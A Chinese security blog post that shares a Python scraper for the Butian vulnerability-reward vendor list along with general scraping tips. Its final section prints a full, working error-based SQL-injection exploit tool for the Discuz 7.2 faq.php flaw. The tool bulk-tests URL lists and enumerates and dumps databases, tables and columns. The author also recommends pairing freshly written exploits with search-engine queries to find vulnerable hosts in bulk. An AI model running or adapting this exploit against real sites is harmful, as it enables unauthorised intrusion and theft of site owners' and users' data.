C1imber's Blog

python爬取补天src列表

字数统计: 2.7k阅读时长: 13 min
2018/04/17 Share

用python爬取补天src列表

分享一个我写的代码,用python爬取补天src列表,同时可以爬取网站域名和漏洞的提交数和处理数,以公益src为例,贴出我写的代码

# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
url="http://loudong.360.cn/Reward/pub"
for pnum in range(1,160):
    r=requests.post(url=url,data={'s':1,'p':pnum}).json()
    for info in r["data"]["list"]:
        company_name=info["company_name"]
        company_url="http://loudong.360.cn/Company/"+info["company_id"]
        html=requests.get(url=company_url).content
        soup=BeautifulSoup(html,"lxml")
        num=soup.find_all(class_="spp")
        print "漏洞数:",num[0].string,"已处理:",num[1].string
        surl="http://loudong.360.cn/Loo/submit?cid="+info["company_id"]
        headers={"Cookie":"你登陆后的cookie"}
        html=requests.get(url=surl,headers=headers).content
        soup=BeautifulSoup(html,"lxml")
        site=soup.find("input",attrs={"placeholder":"请输入厂商域名"})["value"]
        print company_name
        print site
        print u"漏洞数:", num[0].string, u"已处理:", num[1].string
        print "-------------------------------------------------------------------------------------------------"

爬取时需要用到的库

requests库和bs4库

补天还是十分好爬的,只要分析好每次请求和响应,爬下关键请求的页面,用bs4的BeautifulSoup解析提取数据即可

关于BeautifulSoup,自己写代码很喜欢用,提取数据很方便,官方文档写的非常详细

运行结果
mark

分享我写爬虫的一些经验

最后总结一下我多次写爬虫所总结的经验和方法,爬取网页数据通用的一些方法

request库常用总结

html=requests.get(url=url,params={params},headers={headers},cookies={cookies},proxies={proxies}).content
用于http GET方法请求的页面,需要提交参数时可以直接在url的?后加参数,也可以将GET请求参数以字典的数据类型赋值给request库get方法中params参数进行提交
参数作用:

params:字典数据类型,存放http请求的GET参数

headers:字典数据类型,里面内容为http的一些请求头,比如Host,User-Agent,主要用来突破一些网站的防爬机制,cookie值也能放到这个里面

cookies:字典数据类型,用来存放cookie值

proxies:字典数据类型,爬取页面所需要设置的代理,比如爬取谷歌和一些国外网站,因为国内被墙了,搭了ss才能访问,但是直接用python请求页面还是不行,这时候就需要在这里进行设置了,我一般是这样设置的,因为我ss客户端设在了本地1088端口:
proxies={"http":"http://127.0.0.1:1088","https":"https://127.0.0.1:1088"}

html=requests.post(url=url,data={data},headers={headers},cookies={cookies},proxies={proxies}).content
用于http POST方法请求的页面

data:字典数据类型,POST提交的参数

headers,cookie,proxies:均和上述的作用一致

re库常用总结

p=re.compile(r"编写的正则表达式")
用来编译正则表达式对象并且返回一个正则表达式对象
list=p.findall(页面)
匹配页面中和正则表达式匹配的数据并且将所有结果以列表的形式返回
关于正则表达式,需要多加练习,每个人都有不一样的编写正则方法,只要能将需要的数据精确完整匹配出来的方法都是好方法,特别需要注意贪婪匹配和非贪婪匹配的区别和用法(.*?|.*+)

bs4库的BeautifulSoup常用总结

使用BeautifulSoup提取数据,首先要了解html DOM格式:
简单来说就是,<标签 属性="属性值">文本</标签>

from bs4 import BeautifulSoup
soup=BeautifulSoup(html,"lxml")
返回一个BeautifulSoup对象,我一般比较喜欢用lxml格式解析页面,用多了自然就成习惯了
list=soup.find_all(html标签属性=属性值)
寻找html所有匹配"html标签属性=属性值"的html标签并以列表的形式返回,列表中每个值的类型均为BeautifulSoup对象
for i in list:
    i["属性"]用来提取某一属性下的属性值
    i.string用来提取html标签中的文本

urllib库常用总结

urllib.urlretrieve(url,filename)
urllib库的urlretrieve方法主要用来下载文件,通常将页面爬下来后,用正则表达式或者BeautifulSoup将jpg,png一些图片,xls,doc一些文档,或者mp4等视频连接爬下来后,一般都需要用这个库下载
url:资源的链接
filename:文件存放的位置,我一般这样写,filename=yourfilepath+url.split('/')[-1],比较方便

我对写爬虫的看法

以上总结了我写代码的一些方法经验,我对编程的看法是:其实每个人写代码的方式都不太一样,代码写的多了就会有自己的风格。代码主要还是为了解决需求,节省人力,能够将代码用到自己的生活或者工作中,是件很有意思的事情,我觉得写python代码的要点有几个:要多动手写,看官方文档的效率比看书高,编程书是用来查的,百度谷歌很强大

python爬虫能力对安全人员的作用

开发简单的漏扫工具,需要爬虫的基础

根据漏洞编写exp,新爆出的漏洞,exp早写出来可以多刷些漏洞

利用搜素引擎批量刷漏洞,对于新爆出的漏洞,编写exp后结合搜索引擎的语法寻找网络空间中的漏洞相关组件去测试,整个过程都可以用python爬虫技术自动化完成

贴出我很久之前学习python时利用python编写的一个自动化利用漏洞的工具代码,选择的漏洞为discuz7.2 faq.php注入漏洞,实现了类似sqlmap的命令行操作
mark

#coding=utf-8
import requests
import re
import sys
from optparse import OptionParser
from threading import Thread
def main():
    parser=OptionParser()
    parser.add_option("-u",type="string",dest="url",help="")
    parser.add_option("-r",type="string",dest="filename",help="")
    parser.add_option("-C",type="string",dest="column",help="")
    parser.add_option("-T",type="string",dest="table",help="")
    parser.add_option("-D",type="string",dest="db",help="")
    parser.add_option("--dbs",action="store_true",dest="dbs",help="")
    parser.add_option("--dump",action="store_true",dest="dump",help="")
    parser.add_option("--tables",action="store_true",dest="tables",help="")
    parser.add_option("--columns",action="store_true",dest="columns",help="")
    (options,args)=parser.parse_args()
    if options.url and len(sys.argv)==3:
        url=options.url
        result=testurl(url)
        if result:
            getinfo(url)
        else:
            pass
    elif options.url and options.dbs:#--dbs
        url=options.url
        getdbs(url)
    elif options.url and options.tables and options.db:#-u url --tables -D database
        url=options.url
        db=options.db
        gettables(url,db)
    elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
        url=options.url
        table=options.table
        db=options.db
        getcolumns(url,table,db)
    elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump  -C column -T table -D database
        url=options.url
        column=options.column
        table=options.table
        db=options.db
        dumpdata(url,column,table,db)
    elif options.filename:
        filename=options.filename
        testurllist(filename)
def testurl(url):
    payload={'action':'grouppermission','gids[99]':"'"}
    content=requests.get(url=url,params=payload)
    str=content.text
    p=re.compile(r"You have an error in your SQL syntax")
    if re.findall(p,str):
        print "this url injectable!"
        return True
    else:
        print "this url not injectable"
        return False
def testurllist(filename):
    try:
        file=open(filename,"r")
        urllist=[url.strip() for url in file.readlines()]
        for url in urllist:
            print "test url..............%s"%(url)
            testurl(url)
    except IOError,e:
        print "file open error",e
def getinfo(url):
    payload={'action':'grouppermission','gids[99]':"'",'gids[100][0]':') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select database()),0x3a)x from information_schema.tables group by x)a)#'}
    content=requests.get(url=url,params=payload)
    str=content.text
    p=re.compile(r"Duplicate entry '1:(.*?):' for key")
    c_db=re.findall(p,str).pop()
    payload={'action':'grouppermission','gids[99]':"'",'gids[100][0]':') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select user()),0x3a)x from information_schema.tables group by x)a)#'}
    content=requests.get(url=url,params=payload)
    str=content.text
    p=re.compile(r"Duplicate entry '1:(.*?):' for key")
    user=re.findall(p,str).pop()
    payload={'action':'grouppermission','gids[99]':"'",'gids[100][0]':') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select version()),0x3a)x from information_schema.tables group by x)a)#'}
    content=requests.get(url=url,params=payload)
    str=content.text
    p=re.compile(r"Duplicate entry '1:(.*?):' for key")
    version=re.findall(p,str).pop()
    print "current database:%s\nuser:%s\nversion:%s\n"%(c_db,user,version)
def getdbs(url):
    i=0
    while 1:
        payload={'action':'grouppermission','gids[99]':"'",'gids[100][0]':') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select schema_name from information_schema.schemata limit %d,1),0x3a)x from information_schema.tables group by x)a)#'%(i)}
        content=requests.get(url=url,params=payload)
        str=content.text
        p=re.compile(r"Duplicate entry '1:(.*?):' for key")
        dbs=re.findall(p,str)
        if dbs==[]:
            break
        else:
            print dbs[-1]
            i=i+1
def gettables(url,db):
    print "select database:%s"%(db)
    hexdb='0x'+db.encode("hex")
    i=0
    while 1:
        payload={'action':'grouppermission','gids[99]':"'",'gids[100][0]':') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select table_name from information_schema.tables where table_schema=%s limit %d,1),0x3a)x from information_schema.tables group by x)a)#'%(hexdb,i)}
        content=requests.get(url=url,params=payload)
        str=content.text
        p=re.compile(r"Duplicate entry '1:(.*?):' for key")
        table=re.findall(p,str)
        if table==[]:
            break
        else:
            print table[-1]
            i=i+1
def getcolumns(url,table,db):
    print "select database:%s\nselect table:%s"%(db,table)
    hextables=[]
    hextables.append("0x"+table.encode("hex"))
    hextables.append("0x"+("cdb_"+table).encode("hex"))
    if table.find("uc_")==0:
        hextables.append("0x"+(table.split("_")[1]).encode("hex"))
    print hextables
    for hextable in hextables:
        i=0
        while 1:
            payload={'action':'grouppermission','gids[99]':"'",'gids[100][0]':') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select column_name from information_schema.columns where table_name=%s limit %d,1),0x3a)x from information_schema.tables group by x)a)#'%(hextable,i)}
            content=requests.get(url=url,params=payload)
            str=content.text
            p=re.compile(r"Duplicate entry '1:(.*?):' for key")
            column=re.findall(p,str)
            if column==[]:
                break
            else:
                print column[-1]
            i=i+1
        print i
def dumpdata(url,column,table,db):
    print "select database:%s\nselect table:%s\nselect column:%s"%(db,table,column)
    column=column.replace(",",",0x3a,")
    tables=[]
    tables.append(table)
    tables.append("cdb_"+table)
    if table.find("uc_")>=0:
        tables.append(table.split("_")[1])
    print tables
    for table in tables:
        i=0
        while 1:
            payload={'action':'grouppermission','gids[99]':"'",'gids[100][0]':') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select concat(%s) from %s.%s limit %d,1),0x3a)x from information_schema.tables group by x)a)#'%(column,db,table,i)}
            content=requests.get(url=url,params=payload)
            str=content.text
            p=re.compile(r"Duplicate entry '1:(.*?):' for key")
            data=re.findall(p,str)
            if data==[]:
                break
            else:
                print data[-1]
                i=i+1
if __name__=="__main__":
    main()

官方文档链接

BeautifulSoup官方文档

requests官方文档

CATALOG
  1. 1. 用python爬取补天src列表
    1. 1.0.1. 分享我写爬虫的一些经验
    2. 1.0.2. 我对写爬虫的看法
    3. 1.0.3. python爬虫能力对安全人员的作用
    4. 1.0.4. 官方文档链接